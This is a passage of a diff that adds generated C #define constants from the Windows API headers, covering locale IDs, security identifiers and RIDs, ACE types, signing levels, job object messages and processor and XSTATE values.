SUBLANG_WOLOF_SENEGAL 0x1 +#define SUBLANG_XHOSA_SOUTH_AFRICA 0x1 +#define SUBLANG_YAKUT_RUSSIA 0x1 +#define SUBLANG_YI_PRC 0x1 +#define SUBLANG_YORUBA_NIGERIA 0x1 +#define SUBLANG_ZULU_SOUTH_AFRICA 0x1 +#define SORT_DEFAULT 0x0 +#define SORT_INVARIANT_MATH 0x1 +#define SORT_JAPANESE_XJIS 0x0 +#define SORT_JAPANESE_UNICODE 0x1 +#define SORT_JAPANESE_RADICALSTROKE 0x4 +#define SORT_CHINESE_BIG5 0x0 +#define SORT_CHINESE_PRCP 0x0 +#define SORT_CHINESE_UNICODE 0x1 +#define SORT_CHINESE_PRC 0x2 +#define SORT_CHINESE_BOPOMOFO 0x3 +#define SORT_CHINESE_RADICALSTROKE 0x4 +#define SORT_KOREAN_KSC 0x0 +#define SORT_KOREAN_UNICODE 0x1 +#define SORT_GERMAN_PHONE_BOOK 0x1 +#define SORT_HUNGARIAN_DEFAULT 0x0 +#define SORT_HUNGARIAN_TECHNICAL 0x1 +#define SORT_GEORGIAN_TRADITIONAL 0x0 +#define SORT_GEORGIAN_MODERN 0x1 +#define NLS_VALID_LOCALE_MASK 0xfffff +#define LOCALE_NAME_MAX_LENGTH 0x55 +#define LOCALE_TRANSIENT_KEYBOARD1 0x2000 +#define LOCALE_TRANSIENT_KEYBOARD2 0x2400 +#define LOCALE_TRANSIENT_KEYBOARD3 0x2800 +#define LOCALE_TRANSIENT_KEYBOARD4 0x2c00 +#define LOCALE_UNASSIGNED_LCID 0x1000 +#define MAXIMUM_WAIT_OBJECTS 0x40 +#define MAXIMUM_SUSPEND_COUNT 0x7f +#define XSTATE_CONTEXT_FLAG_LOOKASIDE 0x1 +#define PF_TEMPORAL_LEVEL_1 0x1 +#define PF_TEMPORAL_LEVEL_2 0x2 +#define PF_TEMPORAL_LEVEL_3 0x3 +#define PF_NON_TEMPORAL_LEVEL_ALL 0x0 +#define EXCEPTION_READ_FAULT 0x0 +#define EXCEPTION_WRITE_FAULT 0x1 +#define EXCEPTION_EXECUTE_FAULT 0x8 +#define INITIAL_MXCSR 0x1f80 +#define INITIAL_FPCSR 0x27f +#define RUNTIME_FUNCTION_INDIRECT 0x1 +#define UNW_FLAG_NO_EPILOGUE 0x80000000 +#define UNWIND_CHAIN_LIMIT 0x20 +// SKIPPED const OUT_OF_PROCESS_FUNCTION_TABLE_CALLBACK_EXPORT_NAME: non-integer constant +#define INITIAL_CPSR 0x10 +#define INITIAL_FPSCR 0x0 +#define ARM_MAX_BREAKPOINTS 0x8 +#define ARM_MAX_WATCHPOINTS 0x1 +#define ARM64_PREFETCH_PLD 0x0 +#define ARM64_PREFETCH_PLI 0x8 +#define ARM64_PREFETCH_PST 0x10 +#define ARM64_PREFETCH_L1 0x0 +#define ARM64_PREFETCH_L2 0x2 +#define ARM64_PREFETCH_L3 0x4 +#define ARM64_PREFETCH_KEEP 0x0 +#define ARM64_PREFETCH_STRM 0x1 +#define _ARM64_MULT_INTRINS_SUPPORTED 0x0 +#define ARM64_MAX_BREAKPOINTS 0x8 +#define ARM64_MAX_WATCHPOINTS 0x2 +#define NONVOL_INT_NUMREG_ARM64 0xb +#define NONVOL_FP_NUMREG_ARM64 0x8 +#define BREAK_DEBUG_BASE 0x80000 +#define ASSERT_BREAKPOINT 0x80003 +#define SIZE_OF_80387_REGISTERS 0x50 +#define MAXIMUM_SUPPORTED_EXTENSION 0x200 +#define EXCEPTION_NONCONTINUABLE 0x1 +#define EXCEPTION_UNWINDING 0x2 +#define EXCEPTION_EXIT_UNWIND 0x4 +#define EXCEPTION_STACK_INVALID 0x8 +#define EXCEPTION_NESTED_CALL 0x10 +#define EXCEPTION_TARGET_UNWIND 0x20 +#define EXCEPTION_COLLIDED_UNWIND 0x40 +#define EXCEPTION_SOFTWARE_ORIGINATE 0x80 +#define EXCEPTION_MAXIMUM_PARAMETERS 0xf +#define ACCESS_SYSTEM_SECURITY 0x1000000 +#define MAXIMUM_ALLOWED 0x2000000 +#define SID_REVISION 0x1 +#define SID_MAX_SUB_AUTHORITIES 0xf +#define SID_RECOMMENDED_SUB_AUTHORITIES 0x1 +#define SID_HASH_SIZE 0x20 +#define SECURITY_NULL_RID 0 +#define SECURITY_WORLD_RID 0 +#define SECURITY_LOCAL_RID 0 +#define SECURITY_LOCAL_LOGON_RID 1 +#define SECURITY_CREATOR_OWNER_RID 0 +#define SECURITY_CREATOR_GROUP_RID 1 +#define SECURITY_CREATOR_OWNER_SERVER_RID 2 +#define SECURITY_CREATOR_GROUP_SERVER_RID 3 +#define SECURITY_CREATOR_OWNER_RIGHTS_RID 4 +#define SECURITY_DIALUP_RID 1 +#define SECURITY_NETWORK_RID 2 +#define SECURITY_BATCH_RID 3 +#define SECURITY_INTERACTIVE_RID 4 +#define SECURITY_LOGON_IDS_RID 5 +#define SECURITY_LOGON_IDS_RID_COUNT 3 +#define SECURITY_SERVICE_RID 6 +#define SECURITY_ANONYMOUS_LOGON_RID 7 +#define SECURITY_PROXY_RID 8 +#define SECURITY_ENTERPRISE_CONTROLLERS_RID 9 +#define SECURITY_SERVER_LOGON_RID 9 +#define SECURITY_PRINCIPAL_SELF_RID 10 +#define SECURITY_AUTHENTICATED_USER_RID 11 +#define SECURITY_RESTRICTED_CODE_RID 12 +#define SECURITY_TERMINAL_SERVER_RID 13 +#define SECURITY_REMOTE_LOGON_RID 14 +#define SECURITY_THIS_ORGANIZATION_RID 15 +#define SECURITY_IUSER_RID 17 +#define SECURITY_LOCAL_SYSTEM_RID 18 +#define SECURITY_LOCAL_SERVICE_RID 19 +#define SECURITY_NETWORK_SERVICE_RID 20 +#define SECURITY_NT_NON_UNIQUE 21 +#define SECURITY_NT_NON_UNIQUE_SUB_AUTH_COUNT 3 +#define SECURITY_ENTERPRISE_READONLY_CONTROLLERS_RID 22 +#define SECURITY_BUILTIN_DOMAIN_RID 32 +#define SECURITY_WRITE_RESTRICTED_CODE_RID 33 +#define SECURITY_PACKAGE_BASE_RID 64 +#define SECURITY_PACKAGE_RID_COUNT 2 +#define SECURITY_PACKAGE_NTLM_RID 10 +#define SECURITY_PACKAGE_SCHANNEL_RID 14 +#define SECURITY_PACKAGE_DIGEST_RID 21 +#define SECURITY_CRED_TYPE_BASE_RID 65 +#define SECURITY_CRED_TYPE_RID_COUNT 2 +#define SECURITY_CRED_TYPE_THIS_ORG_CERT_RID 1 +#define SECURITY_MIN_BASE_RID 80 +#define SECURITY_SERVICE_ID_BASE_RID 80 +#define SECURITY_SERVICE_ID_RID_COUNT 6 +#define SECURITY_RESERVED_ID_BASE_RID 81 +#define SECURITY_APPPOOL_ID_BASE_RID 82 +#define SECURITY_APPPOOL_ID_RID_COUNT 6 +#define SECURITY_VIRTUALSERVER_ID_BASE_RID 83 +#define SECURITY_VIRTUALSERVER_ID_RID_COUNT 6 +#define SECURITY_USERMODEDRIVERHOST_ID_BASE_RID 84 +#define SECURITY_USERMODEDRIVERHOST_ID_RID_COUNT 6 +#define SECURITY_CLOUD_INFRASTRUCTURE_SERVICES_ID_BASE_RID 85 +#define SECURITY_CLOUD_INFRASTRUCTURE_SERVICES_ID_RID_COUNT 6 +#define SECURITY_WMIHOST_ID_BASE_RID 86 +#define SECURITY_WMIHOST_ID_RID_COUNT 6 +#define SECURITY_TASK_ID_BASE_RID 87 +#define SECURITY_NFS_ID_BASE_RID 88 +#define SECURITY_COM_ID_BASE_RID 89 +#define SECURITY_WINDOW_MANAGER_BASE_RID 90 +#define SECURITY_RDV_GFX_BASE_RID 91 +#define SECURITY_DASHOST_ID_BASE_RID 92 +#define SECURITY_DASHOST_ID_RID_COUNT 6 +#define SECURITY_USERMANAGER_ID_BASE_RID 93 +#define SECURITY_USERMANAGER_ID_RID_COUNT 6 +#define SECURITY_WINRM_ID_BASE_RID 94 +#define SECURITY_WINRM_ID_RID_COUNT 6 +#define SECURITY_CCG_ID_BASE_RID 95 +#define SECURITY_UMFD_BASE_RID 96 +#define SECURITY_UNIQUIFIED_SERVICE_BASE_RID 97 +#define SECURITY_VIRTUALACCOUNT_ID_RID_COUNT 6 +#define SECURITY_EDGE_CLOUD_INFRASTRUCTURE_SERVICE_ID_BASE_RID 98 +#define SECURITY_RESTRICTED_SERVICES_BASE_RID 99 +#define SECURITY_RESTRICTED_SERVICES_RID_COUNT 6 +#define SECURITY_MAX_BASE_RID 111 +#define SECURITY_MAX_ALWAYS_FILTERED 999 +#define SECURITY_MIN_NEVER_FILTERED 1000 +#define SECURITY_OTHER_ORGANIZATION_RID 1000 +#define SECURITY_WINDOWSMOBILE_ID_BASE_RID 112 +#define SECURITY_INSTALLER_GROUP_CAPABILITY_BASE 0x20 +#define SECURITY_INSTALLER_GROUP_CAPABILITY_RID_COUNT 0x9 +#define SECURITY_INSTALLER_CAPABILITY_RID_COUNT 0xa +#define SECURITY_LOCAL_ACCOUNT_RID 113 +#define SECURITY_LOCAL_ACCOUNT_AND_ADMIN_RID 114 +#define DOMAIN_GROUP_RID_AUTHORIZATION_DATA_IS_COMPOUNDED 496 +#define DOMAIN_GROUP_RID_AUTHORIZATION_DATA_CONTAINS_CLAIMS 497 +#define DOMAIN_GROUP_RID_ENTERPRISE_READONLY_DOMAIN_CONTROLLERS 498 +#define FOREST_USER_RID_MAX 499 +#define DOMAIN_USER_RID_ADMIN 500 +#define DOMAIN_USER_RID_GUEST 501 +#define DOMAIN_USER_RID_KRBTGT 502 +#define DOMAIN_USER_RID_DEFAULT_ACCOUNT 503 +#define DOMAIN_USER_RID_WDAG_ACCOUNT 504 +#define DOMAIN_USER_RID_MAX 999 +#define DOMAIN_GROUP_RID_ADMINS 512 +#define DOMAIN_GROUP_RID_USERS 513 +#define DOMAIN_GROUP_RID_GUESTS 514 +#define DOMAIN_GROUP_RID_COMPUTERS 515 +#define DOMAIN_GROUP_RID_CONTROLLERS 516 +#define DOMAIN_GROUP_RID_CERT_ADMINS 517 +#define DOMAIN_GROUP_RID_SCHEMA_ADMINS 518 +#define DOMAIN_GROUP_RID_ENTERPRISE_ADMINS 519 +#define DOMAIN_GROUP_RID_POLICY_ADMINS 520 +#define DOMAIN_GROUP_RID_READONLY_CONTROLLERS 521 +#define DOMAIN_GROUP_RID_CLONEABLE_CONTROLLERS 522 +#define DOMAIN_GROUP_RID_CDC_RESERVED 524 +#define DOMAIN_GROUP_RID_PROTECTED_USERS 525 +#define DOMAIN_GROUP_RID_KEY_ADMINS 526 +#define DOMAIN_GROUP_RID_ENTERPRISE_KEY_ADMINS 527 +#define DOMAIN_GROUP_RID_FOREST_TRUSTS 528 +#define DOMAIN_GROUP_RID_EXTERNAL_TRUSTS 529 +#define DOMAIN_ALIAS_RID_ADMINS 544 +#define DOMAIN_ALIAS_RID_USERS 545 +#define DOMAIN_ALIAS_RID_GUESTS 546 +#define DOMAIN_ALIAS_RID_POWER_USERS 547 +#define DOMAIN_ALIAS_RID_ACCOUNT_OPS 548 +#define DOMAIN_ALIAS_RID_SYSTEM_OPS 549 +#define DOMAIN_ALIAS_RID_PRINT_OPS 550 +#define DOMAIN_ALIAS_RID_BACKUP_OPS 551 +#define DOMAIN_ALIAS_RID_REPLICATOR 552 +#define DOMAIN_ALIAS_RID_RAS_SERVERS 553 +#define DOMAIN_ALIAS_RID_PREW2KCOMPACCESS 554 +#define DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS 555 +#define DOMAIN_ALIAS_RID_NETWORK_CONFIGURATION_OPS 556 +#define DOMAIN_ALIAS_RID_INCOMING_FOREST_TRUST_BUILDERS 557 +#define DOMAIN_ALIAS_RID_MONITORING_USERS 558 +#define DOMAIN_ALIAS_RID_LOGGING_USERS 559 +#define DOMAIN_ALIAS_RID_AUTHORIZATIONACCESS 560 +#define DOMAIN_ALIAS_RID_TS_LICENSE_SERVERS 561 +#define DOMAIN_ALIAS_RID_DCOM_USERS 562 +#define DOMAIN_ALIAS_RID_IUSERS 568 +#define DOMAIN_ALIAS_RID_CRYPTO_OPERATORS 569 +#define DOMAIN_ALIAS_RID_CACHEABLE_PRINCIPALS_GROUP 571 +#define DOMAIN_ALIAS_RID_NON_CACHEABLE_PRINCIPALS_GROUP 572 +#define DOMAIN_ALIAS_RID_EVENT_LOG_READERS_GROUP 573 +#define DOMAIN_ALIAS_RID_CERTSVC_DCOM_ACCESS_GROUP 574 +#define DOMAIN_ALIAS_RID_RDS_REMOTE_ACCESS_SERVERS 575 +#define DOMAIN_ALIAS_RID_RDS_ENDPOINT_SERVERS 576 +#define DOMAIN_ALIAS_RID_RDS_MANAGEMENT_SERVERS 577 +#define DOMAIN_ALIAS_RID_HYPER_V_ADMINS 578 +#define DOMAIN_ALIAS_RID_ACCESS_CONTROL_ASSISTANCE_OPS 579 +#define DOMAIN_ALIAS_RID_REMOTE_MANAGEMENT_USERS 580 +#define DOMAIN_ALIAS_RID_DEFAULT_ACCOUNT 581 +#define DOMAIN_ALIAS_RID_STORAGE_REPLICA_ADMINS 582 +#define DOMAIN_ALIAS_RID_DEVICE_OWNERS 583 +#define DOMAIN_ALIAS_RID_USER_MODE_HARDWARE_OPERATORS 584 +#define DOMAIN_ALIAS_RID_OPENSSH_USERS 585 +#define SECURITY_APP_PACKAGE_BASE_RID 2 +#define SECURITY_BUILTIN_APP_PACKAGE_RID_COUNT 2 +#define SECURITY_APP_PACKAGE_RID_COUNT 8 +#define SECURITY_CAPABILITY_BASE_RID 3 +#define SECURITY_CAPABILITY_APP_RID 1024 +#define SECURITY_CAPABILITY_APP_SILO_RID 65536 +#define SECURITY_BUILTIN_CAPABILITY_RID_COUNT 2 +#define SECURITY_CAPABILITY_RID_COUNT 5 +#define SECURITY_PARENT_PACKAGE_RID_COUNT 8 +#define SECURITY_CHILD_PACKAGE_RID_COUNT 12 +#define SECURITY_BUILTIN_PACKAGE_ANY_PACKAGE 1 +#define SECURITY_BUILTIN_PACKAGE_ANY_RESTRICTED_PACKAGE 2 +#define SECURITY_CAPABILITY_INTERNET_CLIENT 1 +#define SECURITY_CAPABILITY_INTERNET_CLIENT_SERVER 2 +#define SECURITY_CAPABILITY_PRIVATE_NETWORK_CLIENT_SERVER 3 +#define SECURITY_CAPABILITY_PICTURES_LIBRARY 4 +#define SECURITY_CAPABILITY_VIDEOS_LIBRARY 5 +#define SECURITY_CAPABILITY_MUSIC_LIBRARY 6 +#define SECURITY_CAPABILITY_DOCUMENTS_LIBRARY 7 +#define SECURITY_CAPABILITY_ENTERPRISE_AUTHENTICATION 8 +#define SECURITY_CAPABILITY_SHARED_USER_CERTIFICATES 9 +#define SECURITY_CAPABILITY_REMOVABLE_STORAGE 10 +#define SECURITY_CAPABILITY_APPOINTMENTS 11 +#define SECURITY_CAPABILITY_CONTACTS 12 +#define SECURITY_CAPABILITY_INTERNET_EXPLORER 4096 +#define SECURITY_MANDATORY_UNTRUSTED_RID 0 +#define SECURITY_MANDATORY_LOW_RID 4096 +#define SECURITY_MANDATORY_MEDIUM_RID 8192 +#define SECURITY_MANDATORY_MEDIUM_PLUS_RID 0x2100 +#define SECURITY_MANDATORY_HIGH_RID 12288 +#define SECURITY_MANDATORY_SYSTEM_RID 16384 +#define SECURITY_MANDATORY_PROTECTED_PROCESS_RID 20480 +#define SECURITY_MANDATORY_MEDIUM_PLUS_CREDUI_RID 0x200a +#define SECURITY_MANDATORY_MAXIMUM_USER_RID 16384 +#define SECURITY_AUTHENTICATION_AUTHORITY_RID_COUNT 1 +#define SECURITY_AUTHENTICATION_AUTHORITY_ASSERTED_RID 1 +#define SECURITY_AUTHENTICATION_SERVICE_ASSERTED_RID 2 +#define SECURITY_AUTHENTICATION_FRESH_KEY_AUTH_RID 3 +#define SECURITY_AUTHENTICATION_KEY_TRUST_RID 4 +#define SECURITY_AUTHENTICATION_KEY_PROPERTY_MFA_RID 5 +#define SECURITY_AUTHENTICATION_KEY_PROPERTY_ATTESTATION_RID 6 +#define SECURITY_PROCESS_TRUST_AUTHORITY_RID_COUNT 2 +#define SECURITY_PROCESS_PROTECTION_TYPE_FULL_RID 1024 +#define SECURITY_PROCESS_PROTECTION_TYPE_LITE_RID 512 +#define SECURITY_PROCESS_PROTECTION_TYPE_NONE_RID 0 +#define SECURITY_PROCESS_PROTECTION_LEVEL_WINTCB_RID 8192 +#define SECURITY_PROCESS_PROTECTION_LEVEL_WINDOWS_RID 4096 +#define SECURITY_PROCESS_PROTECTION_LEVEL_APP_RID 2048 +#define SECURITY_PROCESS_PROTECTION_LEVEL_ANTIMALWARE_RID 1536 +#define SECURITY_PROCESS_PROTECTION_LEVEL_AUTHENTICODE_RID 1024 +#define SECURITY_PROCESS_PROTECTION_LEVEL_NONE_RID 0 +#define SECURITY_TRUSTED_INSTALLER_RID1 0x38fb89b5 +#define SECURITY_TRUSTED_INSTALLER_RID2 0xcbc28419 +#define SECURITY_TRUSTED_INSTALLER_RID3 0x6d236c5c +#define SECURITY_TRUSTED_INSTALLER_RID4 0x6e770057 +#define SECURITY_TRUSTED_INSTALLER_RID5 0x876402c0 +#define SE_GROUP_MANDATORY 1 +#define SE_GROUP_ENABLED_BY_DEFAULT 2 +#define SE_GROUP_ENABLED 4 +#define SE_GROUP_OWNER 8 +#define SE_GROUP_USE_FOR_DENY_ONLY 16 +#define SE_GROUP_INTEGRITY 32 +#define SE_GROUP_INTEGRITY_ENABLED 64 +#define SE_GROUP_LOGON_ID -1073741824 +#define SE_GROUP_RESOURCE 536870912 +#define ACL_REVISION1 0x1 +#define ACL_REVISION2 0x2 +#define ACL_REVISION3 0x3 +#define ACL_REVISION4 0x4 +#define MAX_ACL_REVISION 0x4 +#define ACCESS_MIN_MS_ACE_TYPE 0x0 +#define ACCESS_ALLOWED_ACE_TYPE 0x0 +#define ACCESS_DENIED_ACE_TYPE 0x1 +#define SYSTEM_AUDIT_ACE_TYPE 0x2 +#define SYSTEM_ALARM_ACE_TYPE 0x3 +#define ACCESS_MAX_MS_V2_ACE_TYPE 0x3 +#define ACCESS_ALLOWED_COMPOUND_ACE_TYPE 0x4 +#define ACCESS_MAX_MS_V3_ACE_TYPE 0x4 +#define ACCESS_MIN_MS_OBJECT_ACE_TYPE 0x5 +#define ACCESS_ALLOWED_OBJECT_ACE_TYPE 0x5 +#define ACCESS_DENIED_OBJECT_ACE_TYPE 0x6 +#define SYSTEM_AUDIT_OBJECT_ACE_TYPE 0x7 +#define SYSTEM_ALARM_OBJECT_ACE_TYPE 0x8 +#define ACCESS_MAX_MS_OBJECT_ACE_TYPE 0x8 +#define ACCESS_MAX_MS_V4_ACE_TYPE 0x8 +#define ACCESS_MAX_MS_ACE_TYPE 0x8 +#define ACCESS_ALLOWED_CALLBACK_ACE_TYPE 0x9 +#define ACCESS_DENIED_CALLBACK_ACE_TYPE 0xa +#define ACCESS_ALLOWED_CALLBACK_OBJECT_ACE_TYPE 0xb +#define ACCESS_DENIED_CALLBACK_OBJECT_ACE_TYPE 0xc +#define SYSTEM_AUDIT_CALLBACK_ACE_TYPE 0xd +#define SYSTEM_ALARM_CALLBACK_ACE_TYPE 0xe +#define SYSTEM_AUDIT_CALLBACK_OBJECT_ACE_TYPE 0xf +#define SYSTEM_ALARM_CALLBACK_OBJECT_ACE_TYPE 0x10 +#define SYSTEM_MANDATORY_LABEL_ACE_TYPE 0x11 +#define SYSTEM_RESOURCE_ATTRIBUTE_ACE_TYPE 0x12 +#define SYSTEM_SCOPED_POLICY_ID_ACE_TYPE 0x13 +#define SYSTEM_PROCESS_TRUST_LABEL_ACE_TYPE 0x14 +#define SYSTEM_ACCESS_FILTER_ACE_TYPE 0x15 +#define ACCESS_MAX_MS_V5_ACE_TYPE 0x15 +#define VALID_INHERIT_FLAGS 0x1f +#define CRITICAL_ACE_FLAG 0x20 +#define TRUST_PROTECTED_FILTER_ACE_FLAG 0x40 +#define SYSTEM_MANDATORY_LABEL_NO_WRITE_UP 0x1 +#define SYSTEM_MANDATORY_LABEL_NO_READ_UP 0x2 +#define SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP 0x4 +#define SYSTEM_PROCESS_TRUST_LABEL_VALID_MASK 0xffffff +#define SYSTEM_PROCESS_TRUST_NOCONSTRAINT_MASK 0xffffffff +#define SYSTEM_ACCESS_FILTER_VALID_MASK 0xffffff +#define SYSTEM_ACCESS_FILTER_NOCONSTRAINT_MASK 0xffffffff +#define SECURITY_DESCRIPTOR_REVISION 0x1 +#define SECURITY_DESCRIPTOR_REVISION1 0x1 +#define ACCESS_OBJECT_GUID 0x0 +#define ACCESS_PROPERTY_SET_GUID 0x1 +#define ACCESS_PROPERTY_GUID 0x2 +#define ACCESS_MAX_LEVEL 0x4 +#define AUDIT_ALLOW_NO_PRIVILEGE 0x1 +// SKIPPED const ACCESS_DS_SOURCE_A: non-integer constant +// SKIPPED const ACCESS_DS_SOURCE_W: non-integer constant +// SKIPPED const ACCESS_DS_OBJECT_TYPE_NAME_A: non-integer constant +// SKIPPED const ACCESS_DS_OBJECT_TYPE_NAME_W: non-integer constant +#define PRIVILEGE_SET_ALL_NECESSARY 0x1 +#define ACCESS_REASON_TYPE_MASK 0xff0000 +#define ACCESS_REASON_DATA_MASK 0xffff +#define ACCESS_REASON_STAGING_MASK 0x80000000 +#define ACCESS_REASON_EXDATA_MASK 0x7f000000 +#define SE_SECURITY_DESCRIPTOR_FLAG_NO_OWNER_ACE 0x1 +#define SE_SECURITY_DESCRIPTOR_FLAG_NO_LABEL_ACE 0x2 +#define SE_SECURITY_DESCRIPTOR_FLAG_NO_ACCESS_FILTER_ACE 0x4 +#define SE_SECURITY_DESCRIPTOR_VALID_FLAGS 0x7 +#define SE_ACCESS_CHECK_FLAG_NO_LEARNING_MODE_LOGGING 0x8 +#define SE_ACCESS_CHECK_VALID_FLAGS 0x8 +// SKIPPED const SE_ACTIVATE_AS_USER_CAPABILITY: non-integer constant +// SKIPPED const SE_CONSTRAINED_IMPERSONATION_CAPABILITY: non-integer constant +// SKIPPED const SE_SESSION_IMPERSONATION_CAPABILITY: non-integer constant +// SKIPPED const SE_MUMA_CAPABILITY: non-integer constant +// SKIPPED const SE_DEVELOPMENT_MODE_NETWORK_CAPABILITY: non-integer constant +// SKIPPED const SE_LEARNING_MODE_LOGGING_CAPABILITY: non-integer constant +// SKIPPED const SE_PERMISSIVE_LEARNING_MODE_CAPABILITY: non-integer constant +// SKIPPED const SE_APP_SILO_VOLUME_ROOT_MINIMAL_CAPABILITY: non-integer constant +// SKIPPED const SE_APP_SILO_PROFILES_ROOT_MINIMAL_CAPABILITY: non-integer constant +// SKIPPED const SE_APP_SILO_USER_PROFILE_MINIMAL_CAPABILITY: non-integer constant +// SKIPPED const SE_APP_SILO_PROMPT_FOR_ACCESS_CAPABILITY: non-integer constant +// SKIPPED const SE_APP_SILO_ACCESS_TO_PUBLISHER_DIRECTORY_CAPABILITY: non-integer constant +// SKIPPED const SE_APP_SILO_PRINT_CAPABILITY: non-integer constant +#define POLICY_AUDIT_SUBCATEGORY_COUNT 0x3c +#define TOKEN_SOURCE_LENGTH 0x8 +#define CLAIM_SECURITY_ATTRIBUTE_TYPE_INVALID 0x0 +#define CLAIM_SECURITY_ATTRIBUTE_CUSTOM_FLAGS 0xffff0000 +#define CLAIM_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 0x1 +#define CLAIM_SECURITY_ATTRIBUTES_INFORMATION_VERSION 0x1 +#define PROCESS_TRUST_LABEL_SECURITY_INFORMATION 128 +#define ACCESS_FILTER_SECURITY_INFORMATION 256 +#define SE_SIGNING_LEVEL_UNCHECKED 0x0 +#define SE_SIGNING_LEVEL_UNSIGNED 0x1 +#define SE_SIGNING_LEVEL_ENTERPRISE 0x2 +#define SE_SIGNING_LEVEL_CUSTOM_1 0x3 +#define SE_SIGNING_LEVEL_DEVELOPER 0x3 +#define SE_SIGNING_LEVEL_AUTHENTICODE 0x4 +#define SE_SIGNING_LEVEL_CUSTOM_2 0x5 +#define SE_SIGNING_LEVEL_STORE 0x6 +#define SE_SIGNING_LEVEL_CUSTOM_3 0x7 +#define SE_SIGNING_LEVEL_ANTIMALWARE 0x7 +#define SE_SIGNING_LEVEL_MICROSOFT 0x8 +#define SE_SIGNING_LEVEL_CUSTOM_4 0x9 +#define SE_SIGNING_LEVEL_CUSTOM_5 0xa +#define SE_SIGNING_LEVEL_DYNAMIC_CODEGEN 0xb +#define SE_SIGNING_LEVEL_WINDOWS 0xc +#define SE_SIGNING_LEVEL_CUSTOM_7 0xd +#define SE_SIGNING_LEVEL_WINDOWS_TCB 0xe +#define SE_SIGNING_LEVEL_CUSTOM_6 0xf +#define JOB_OBJECT_ASSIGN_PROCESS 0x1 +#define JOB_OBJECT_SET_ATTRIBUTES 0x2 +#define JOB_OBJECT_QUERY 0x4 +#define JOB_OBJECT_TERMINATE 0x8 +#define JOB_OBJECT_SET_SECURITY_ATTRIBUTES 0x10 +#define JOB_OBJECT_IMPERSONATE 0x20 +#define FLS_MAXIMUM_AVAILABLE 0xff0 +#define TLS_MINIMUM_AVAILABLE 0x40 +#define THREAD_DYNAMIC_CODE_ALLOW 0x1 +#define THREAD_BASE_PRIORITY_LOWRT 0xf +#define THREAD_BASE_PRIORITY_MAX 0x2 +#define THREAD_BASE_PRIORITY_MIN -2 +#define THREAD_BASE_PRIORITY_IDLE -15 +#define COMPONENT_KTM 0x1 +#define COMPONENT_VALID_FLAGS 0x1 +#define MEMORY_PRIORITY_LOWEST 0x0 +#define DYNAMIC_EH_CONTINUATION_TARGET_ADD 0x1 +#define DYNAMIC_EH_CONTINUATION_TARGET_PROCESSED 0x2 +#define DYNAMIC_ENFORCED_ADDRESS_RANGE_ADD 0x1 +#define DYNAMIC_ENFORCED_ADDRESS_RANGE_PROCESSED 0x2 +#define QUOTA_LIMITS_USE_DEFAULT_LIMITS 0x10 +#define MAX_HW_COUNTERS 0x10 +#define THREAD_PROFILING_FLAG_DISPATCH 0x1 +#define JOB_OBJECT_NET_RATE_CONTROL_MAX_DSCP_TAG 0x40 +#define JOB_OBJECT_MSG_END_OF_JOB_TIME 0x1 +#define JOB_OBJECT_MSG_END_OF_PROCESS_TIME 0x2 +#define JOB_OBJECT_MSG_ACTIVE_PROCESS_LIMIT 0x3 +#define JOB_OBJECT_MSG_ACTIVE_PROCESS_ZERO 0x4 +#define JOB_OBJECT_MSG_NEW_PROCESS 0x6 +#define JOB_OBJECT_MSG_EXIT_PROCESS 0x7 +#define JOB_OBJECT_MSG_ABNORMAL_EXIT_PROCESS 0x8 +#define JOB_OBJECT_MSG_PROCESS_MEMORY_LIMIT 0x9 +#define JOB_OBJECT_MSG_JOB_MEMORY_LIMIT 0xa +#define JOB_OBJECT_MSG_NOTIFICATION_LIMIT 0xb +#define JOB_OBJECT_MSG_JOB_CYCLE_TIME_LIMIT 0xc +#define JOB_OBJECT_MSG_SILO_TERMINATED 0xd +#define JOB_OBJECT_MSG_MINIMUM 0x1 +#define JOB_OBJECT_MSG_MAXIMUM 0xd +#define JOB_OBJECT_UILIMIT_IME 0x100 +#define JOB_OBJECT_UILIMIT_INJECTION 0x200 +#define JOB_OBJECT_UILIMIT_ALL 0x3ff +#define JOB_OBJECT_UI_VALID_FLAGS 0x3ff +#define JOB_OBJECT_CPU_RATE_CONTROL_PER_PROCESSOR_CAPS 0x20 +#define MEMORY_PARTITION_QUERY_ACCESS 0x1 +#define MEMORY_PARTITION_MODIFY_ACCESS 0x2 +#define MUTANT_QUERY_STATE 0x1 +#define TIME_ZONE_ID_UNKNOWN 0x0 +#define TIME_ZONE_ID_STANDARD 0x1 +#define TIME_ZONE_ID_DAYLIGHT 0x2 +#define LTP_PC_SMT 0x1 +#define CACHE_FULLY_ASSOCIATIVE 0xff +#define PROCESSOR_INTEL_386 0x182 +#define PROCESSOR_INTEL_486 0x1e6 +#define PROCESSOR_INTEL_PENTIUM 0x24a +#define PROCESSOR_INTEL_IA64 0x898 +#define PROCESSOR_AMD_X8664 0x21d8 +#define PROCESSOR_MIPS_R4000 0xfa0 +#define PROCESSOR_ALPHA_21064 0x5248 +#define PROCESSOR_PPC_601 0x259 +#define PROCESSOR_PPC_603 0x25b +#define PROCESSOR_PPC_604 0x25c +#define PROCESSOR_PPC_620 0x26c +#define PROCESSOR_HITACHI_SH3 0x2713 +#define PROCESSOR_HITACHI_SH3E 0x2714 +#define PROCESSOR_HITACHI_SH4 0x2715 +#define PROCESSOR_MOTOROLA_821 0x335 +#define PROCESSOR_SHx_SH3 0x67 +#define PROCESSOR_SHx_SH4 0x68 +#define PROCESSOR_STRONGARM 0xa11 +#define PROCESSOR_ARM720 0x720 +#define PROCESSOR_ARM820 0x820 +#define PROCESSOR_ARM920 0x920 +#define PROCESSOR_ARM_7TDMI 0x11171 +#define PROCESSOR_OPTIL 0x494f +#define XSTATE_LEGACY_FLOATING_POINT 0x0 +#define XSTATE_LEGACY_SSE 0x1 +#define XSTATE_GSSE 0x2 +#define XSTATE_AVX 0x2 +#define XSTATE_MPX_BNDREGS 0x3 +#define XSTATE_MPX_BNDCSR 0x4 +#define XSTATE_AVX512_KMASK 0x5 +#define XSTATE_AVX512_ZMM_H 0x6 +#define XSTATE_AVX512_ZMM 0x7 +#define XSTATE_IPT 0x8 +#define XSTATE_PASID 0xa +#define XSTATE_CET_U 0xb +#define XSTATE_CET_S 0xc +#define XSTATE_AMX_TILE_CONFIG 0x11 +#define XSTATE_AMX_TILE_DATA 0x12 +#define XSTATE_LWP 0x3e +#define MAXIMUM_XSTATE_FEATURES 0x40 +#define XSTATE_ARM64_SVE 0x2 +#define XSTATE_FIRST_NON_LEGACY_FEATURE 0x2 +#define XSTATE_COMPACTION_ENABLE 0x3f +#define XSTATE_ALIGN_BIT 0x1 +#define 